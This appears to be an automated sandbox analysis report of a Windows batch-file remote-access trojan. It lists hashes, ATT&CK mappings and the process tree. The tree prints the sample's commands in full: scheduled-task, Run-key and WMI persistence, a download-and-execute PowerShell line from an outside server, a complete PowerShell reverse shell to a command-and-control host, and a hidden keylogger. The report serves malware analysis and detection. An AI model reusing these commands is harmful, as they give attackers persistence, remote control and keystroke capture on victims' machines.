68b786e37d2389c4e1d05601cd4b1222ce17f6df1d4811b82af7ed7945e73c13

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:40

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General

Target
rat_build_178297_014459.bat
Size 4KB
Sample260529-b3hmsshs5m
SHA256 68b786e37d2389c4e1d05601cd4b1222ce17f6df1d4811b82af7ed7945e73c13
MD5 2c26c16a7f18aac609cb825e8e8156e1
SHA1 d235e0f5d6087755202eed5981eadff90d5f1ba8
SHA512 716fd76d8cd6b797f479b74b8a240afaabefcd0a89788b1b35c27c9338d71822dec2182f6169c6c1d6d09edbee93413765cf08fd4ec764cec795f065b3aae4a0
SSDEEP 96:iPI7xW81pQ2Nl2AwPRK2V9Yxs3z52ZWMgBAeiFgZk8mvlo1crfB:iPB81pQ26AQxFIWMWiFgkHln7B
TLSH
T108A1F71723576224D9B5AA14EB323C14536CEEF72305C94DFA888FC0098CE47A52D9E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_178297.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1500	powershell.exe
3608	powershell.exe
3052	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_178297 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_178297.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
976	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2152	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4604	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1548	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1500	powershell.exe
1500	powershell.exe
3608	powershell.exe
3608	powershell.exe
3052	powershell.exe
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4336	WMIC.exe
Token: SeSecurityPrivilege	4336	WMIC.exe
Token: SeTakeOwnershipPrivilege	4336	WMIC.exe
Token: SeLoadDriverPrivilege	4336	WMIC.exe
Token: SeSystemProfilePrivilege	4336	WMIC.exe
Token: SeSystemtimePrivilege	4336	WMIC.exe
Token: SeProfSingleProcessPrivilege	4336	WMIC.exe
Token: SeIncBasePriorityPrivilege	4336	WMIC.exe
Token: SeCreatePagefilePrivilege	4336	WMIC.exe
Token: SeBackupPrivilege	4336	WMIC.exe
Token: SeRestorePrivilege	4336	WMIC.exe
Token: SeShutdownPrivilege	4336	WMIC.exe
Token: SeDebugPrivilege	4336	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4336	WMIC.exe
Token: SeRemoteShutdownPrivilege	4336	WMIC.exe
Token: SeUndockPrivilege	4336	WMIC.exe
Token: SeManageVolumePrivilege	4336	WMIC.exe
Token: 33	4336	WMIC.exe
Token: 34	4336	WMIC.exe
Token: 35	4336	WMIC.exe
Token: 36	4336	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4336	WMIC.exe
Token: SeSecurityPrivilege	4336	WMIC.exe
Token: SeTakeOwnershipPrivilege	4336	WMIC.exe
Token: SeLoadDriverPrivilege	4336	WMIC.exe
Token: SeSystemProfilePrivilege	4336	WMIC.exe
Token: SeSystemtimePrivilege	4336	WMIC.exe
Token: SeProfSingleProcessPrivilege	4336	WMIC.exe
Token: SeIncBasePriorityPrivilege	4336	WMIC.exe
Token: SeCreatePagefilePrivilege	4336	WMIC.exe
Token: SeBackupPrivilege	4336	WMIC.exe
Token: SeRestorePrivilege	4336	WMIC.exe
Token: SeShutdownPrivilege	4336	WMIC.exe
Token: SeDebugPrivilege	4336	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4336	WMIC.exe
Token: SeRemoteShutdownPrivilege	4336	WMIC.exe
Token: SeUndockPrivilege	4336	WMIC.exe
Token: SeManageVolumePrivilege	4336	WMIC.exe
Token: 33	4336	WMIC.exe
Token: 34	4336	WMIC.exe
Token: 35	4336	WMIC.exe
Token: 36	4336	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3780	WMIC.exe
Token: SeSecurityPrivilege	3780	WMIC.exe
Token: SeTakeOwnershipPrivilege	3780	WMIC.exe
Token: SeLoadDriverPrivilege	3780	WMIC.exe
Token: SeSystemProfilePrivilege	3780	WMIC.exe
Token: SeSystemtimePrivilege	3780	WMIC.exe
Token: SeProfSingleProcessPrivilege	3780	WMIC.exe
Token: SeIncBasePriorityPrivilege	3780	WMIC.exe
Token: SeCreatePagefilePrivilege	3780	WMIC.exe
Token: SeBackupPrivilege	3780	WMIC.exe
Token: SeRestorePrivilege	3780	WMIC.exe
Token: SeShutdownPrivilege	3780	WMIC.exe
Token: SeDebugPrivilege	3780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3780	WMIC.exe
Token: SeRemoteShutdownPrivilege	3780	WMIC.exe
Token: SeUndockPrivilege	3780	WMIC.exe
Token: SeManageVolumePrivilege	3780	WMIC.exe
Token: 33	3780	WMIC.exe
Token: 34	3780	WMIC.exe
Token: 35	3780	WMIC.exe
Token: 36	3780	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3780	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 1548	3564	cmd.exe	89
PID 3564 wrote to memory of 4604	3564	cmd.exe	90
PID 3564 wrote to memory of 4336	3564	cmd.exe	91
PID 3564 wrote to memory of 3780	3564	cmd.exe	93
PID 3564 wrote to memory of 2252	3564	cmd.exe	94
PID 3564 wrote to memory of 2152	3564	cmd.exe	110
PID 3564 wrote to memory of 976	3564	cmd.exe	113
PID 3564 wrote to memory of 1500	3564	cmd.exe	114
PID 3564 wrote to memory of 3608	3564	cmd.exe	115
PID 3564 wrote to memory of 3052	3564	cmd.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_178297_014459.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_178297" /tr "C:\Users\Admin\AppData\Local\Temp\_178297.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1548
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_178297" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_178297.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4604
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_178297", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4336
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_178297", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_178297.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3780
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_178297.txt
  2⤵
  PID:2252
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2152
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_178297.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 194dc7b068ac2fd2112ab8dbdc8922a06928aa43a03ae032c68d844f172a2c47
MD5 3a7fbf7a286e99c2bf19d8e84d8d6336
SHA1 92fd48d50128c85f934ece253edc4e06ad4e2031
SHA512 0fabf534b01ef53b6e52f468e0a85e5b13e9d56426e09791c68bff547508df34b0f20fa26027998516b8125d8a8fb0b229e8982e7821fb833db620b9305da9a2
TLSH
T1FB117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
MD5 018209c2aca91af0ff46ed3d8c79d783
SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
TLSH
T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_f3ohrnw1.b4v.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f3ohrnw1.b4v.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1500-3-0x000001DF63670000-0x000001DF63692000-memory.dmp

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memory/1500-13-0x000001DF64440000-0x000001DF6458E000-memory.dmp

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memory/3052-34-0x000001DD683C0000-0x000001DD6850E000-memory.dmp

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memory/3608-24-0x0000014CCB270000-0x0000014CCB3BE000-memory.dmp

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